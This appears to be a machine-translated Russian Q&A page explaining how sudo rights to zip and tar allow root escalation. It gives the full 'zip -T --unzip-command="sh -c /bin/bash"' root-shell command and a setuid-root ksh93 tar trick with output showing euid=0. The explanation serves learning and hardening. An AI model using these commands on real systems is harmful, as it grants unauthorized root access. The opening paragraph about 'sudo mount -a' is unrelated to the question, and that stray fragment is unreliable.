Понимание sudo и возможного эксплуатации

Я не понимаю, что вы подразумеваете под словом восстановить, но если вы имеете в виду перемонтировать, то да, это так же просто, как sudo mount -a.

1
09.11.2018, 00:48
2 ответа

Что касается вашего первого вопроса, указанные строки вывода сообщают вам, что вам разрешено запускать /bin/tarи /usr/bin/zipчерез sudoв качестве пользователя root, даже не требуя ввода пароля zico.

На ваш второй вопрос мы получили ответ на странице руководства zip:

   --unzip-command cmd
          Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.

Итак, поскольку у вас есть привилегия запускать zipот имени пользователя root через sudo, эксплойт просто сообщает zip«Эй, когда вы тестируете этот архив, используйте команду sh -c /bin/bashдля протестируй, а?" и это полезно, предоставляя вам корневую оболочку.

Файл exploitпредназначен только для того, чтобы предоставить zipчто-то для сжатия, чтобы было что "тестировать". Он никогда не запускается или что-то в этом роде, и действительно, в вашей демонстрации это просто пустой файл.

$ sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

указывает sudoвыполнить эту команду как пользователь root:

$ zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

Эта команда возьмет файл /tmp/exploitи поместит его в новый архив /tmp/exploit.zip. Переключатель -Tсообщает zip, а затем T проверить целостность архива, а переключатель --unzip-commandсообщает zip, как проверить архив. Последнее и есть эксплойт :, потому что zipзапускается от имени пользователя root, а запуск sh -c /bin/bashдает вам оболочку от имени пользователя root.

6
27.01.2020, 23:12

Даже без zipкоманду tarможно использовать для поломки вещей. Все, что вам нужно, это tar-файл с программой setuid root внутри, а затем tar xfpее.

Например, если я могу создать tar-архив с помощью ksh93 с setuid root, я могу получить привилегии root

$ tar tvf../foo.tar
-rwsr-xr-x root/root   1519024 2018-11-08 21:32 ksh93
$ sudo tar xvfp../foo.tar 
ksh93
$./ksh93 -c id
uid=500(sweh) gid=500(sweh) euid=0(root) groups=500(sweh),10(wheel),13(news)
$ 

Найдите euid. У меня есть действующий root.

2
27.01.2020, 23:12

Теги

Похожие вопросы